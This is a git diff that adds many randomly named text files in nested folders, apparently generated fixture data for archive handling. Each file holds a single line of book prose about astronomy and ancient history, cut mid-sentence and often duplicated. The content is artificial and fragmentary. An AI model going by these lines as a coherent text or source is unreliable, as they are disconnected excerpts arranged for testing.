diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_yhnzcqdkywe.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_yhnzcqdkywe.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_yhnzcqdkywe.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_ypkhhokwrexblqijaztkoh.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_ypkhhokwrexblqijaztkoh.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_ypkhhokwrexblqijaztkoh.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_ayivlukkmdawfudzeuxzj.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_ayivlukkmdawfudzeuxzj.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_ayivlukkmdawfudzeuxzj.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_bncmgatxmzazi.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_bncmgatxmzazi.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_bncmgatxmzazi.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_brulyliodxdmfavawatwbya.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_brulyliodxdmfavawatwbya.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_brulyliodxdmfavawatwbya.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_cjxuizwefhkyfaqkebooqh.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_cjxuizwefhkyfaqkebooqh.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_cjxuizwefhkyfaqkebooqh.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dfyucpzffkb.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dfyucpzffkb.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dfyucpzffkb.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dhvvyeigafghp.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dhvvyeigafghp.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_dhvvyeigafghp.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_djvrehyrxupazqtfefwj.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_djvrehyrxupazqtfefwj.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_djvrehyrxupazqtfefwj.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_duedquze.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_duedquze.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_duedquze.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_fgvwnrlrbyrgofkmjvqzq.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_fgvwnrlrbyrgofkmjvqzq.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_fgvwnrlrbyrgofkmjvqzq.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_grhyhhvqgbbofmxizfztfe.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_grhyhhvqgbbofmxizfztfe.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_grhyhhvqgbbofmxizfztfe.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_junbchztjnnlchnkxtlng.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_junbchztjnnlchnkxtlng.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_junbchztjnnlchnkxtlng.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_kkxnipyltronlwbifzl.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_kkxnipyltronlwbifzl.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_kkxnipyltronlwbifzl.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_lronpuzsgbgqcwbksyf.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_lronpuzsgbgqcwbksyf.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_lronpuzsgbgqcwbksyf.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_poswefhrloxuykho.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_poswefhrloxuykho.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_poswefhrloxuykho.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_svgspjuzvgwscfjqpqdddg.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_svgspjuzvgwscfjqpqdddg.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_svgspjuzvgwscfjqpqdddg.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tgsegsrejnofeqp.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tgsegsrejnofeqp.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tgsegsrejnofeqp.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tybjbeligohrromfedctpuuv.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tybjbeligohrromfedctpuuv.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_tybjbeligohrromfedctpuuv.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_xydnbeak.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_xydnbeak.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_xydnbeak.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yhtziuboqewmqommedsdr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yhtziuboqewmqommedsdr.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yhtziuboqewmqommedsdr.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yooxulidkqwtekayszjichw.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yooxulidkqwtekayszjichw.txt
new file mode 100644
index 0000000..77dc844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/file_yooxulidkqwtekayszjichw.txt
@@ -0,0 +1 @@
+civilization, our view of the world and our present exploration of the Universe are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_afdussdeugbgubpw.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_afdussdeugbgubpw.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_afdussdeugbgubpw.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_buiimxvqzigxpuikjdsm.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_buiimxvqzigxpuikjdsm.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_buiimxvqzigxpuikjdsm.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_dufvzozslxtnitgish.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_dufvzozslxtnitgish.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_dufvzozslxtnitgish.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_enrbvqdjkcgacujmqpfnbb.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_enrbvqdjkcgacujmqpfnbb.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_enrbvqdjkcgacujmqpfnbb.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_eywyqabalcfxxlcqnjvlh.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_eywyqabalcfxxlcqnjvlh.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_eywyqabalcfxxlcqnjvlh.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_gwjszefjyvsutgx.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_gwjszefjyvsutgx.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_gwjszefjyvsutgx.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_klqwnculjjwu.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_klqwnculjjwu.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_klqwnculjjwu.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_nqqigqsylftpbhbzkhpwqab.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_nqqigqsylftpbhbzkhpwqab.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_nqqigqsylftpbhbzkhpwqab.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_ozxgnrxr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_ozxgnrxr.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_ozxgnrxr.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_piuhdgvwrnzjkxvsxkwys.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_piuhdgvwrnzjkxvsxkwys.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_piuhdgvwrnzjkxvsxkwys.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qmyjzont.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qmyjzont.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qmyjzont.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qpevszlunkov.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qpevszlunkov.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_qpevszlunkov.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_sbbajrqlyjkxgu.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_sbbajrqlyjkxgu.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_sbbajrqlyjkxgu.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_stomqfkr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_stomqfkr.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_stomqfkr.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tnzydxmeuqx.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tnzydxmeuqx.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tnzydxmeuqx.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tupufupfyjmkzteqn.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tupufupfyjmkzteqn.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_tupufupfyjmkzteqn.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_voykzzvnxdaegkxeudnzh.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_voykzzvnxdaegkxeudnzh.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_voykzzvnxdaegkxeudnzh.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_wlkybupdmmujmztfejzgu.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_wlkybupdmmujmztfejzgu.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_wlkybupdmmujmztfejzgu.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xqcorjbcsooktkx.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xqcorjbcsooktkx.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xqcorjbcsooktkx.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xywbtzhdrvfrf.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xywbtzhdrvfrf.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_xywbtzhdrvfrf.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yiaydnuwzcehxdlpdbt.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yiaydnuwzcehxdlpdbt.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yiaydnuwzcehxdlpdbt.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yjqgddxm.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yjqgddxm.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yjqgddxm.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yoznznsiebhdrd.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yoznznsiebhdrd.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_yoznznsiebhdrd.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_zggjffwujwgposhcdali.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_zggjffwujwgposhcdali.txt
new file mode 100644
index 0000000..74899a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/file_zggjffwujwgposhcdali.txt
@@ -0,0 +1 @@
+that one could read a newspaper at night by scattered light in the streets of London, 10,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/aamgcpnabcvcpci.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/aamgcpnabcvcpci.txt
new file mode 100644
index 0000000..2bc97cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/aamgcpnabcvcpci.txt
@@ -0,0 +1 @@
+of his time were evil and that neither immortal souls nor immortal gods exist: ‘Nothing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/bcvdseweedmlzikakr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/bcvdseweedmlzikakr.txt
new file mode 100644
index 0000000..e19a9fd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/bcvdseweedmlzikakr.txt
@@ -0,0 +1 @@
+* Although there were a few welcome exceptions. The Pythagorean fascination with whole-number
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/dhpdifalenypw.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/dhpdifalenypw.txt
new file mode 100644
index 0000000..549acde
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/dhpdifalenypw.txt
@@ -0,0 +1 @@
+changing shape has appeared from nowhere.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/etyefceqkaecewwqbgoqme.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/etyefceqkaecewwqbgoqme.txt
new file mode 100644
index 0000000..abe13c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/etyefceqkaecewwqbgoqme.txt
@@ -0,0 +1 @@
+assimilation by Croesus, King of Lydia, and unsuccessfully urging a federation of all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cdrmvkcahnbvtnqy.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cdrmvkcahnbvtnqy.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cdrmvkcahnbvtnqy.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cpbowcbrqmprrqpqef.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cpbowcbrqmprrqpqef.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_cpbowcbrqmprrqpqef.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_dvvlzwhmcdxhi.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_dvvlzwhmcdxhi.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_dvvlzwhmcdxhi.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_eazlhdxkoxpvxzxsvc.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_eazlhdxkoxpvxzxsvc.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_eazlhdxkoxpvxzxsvc.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
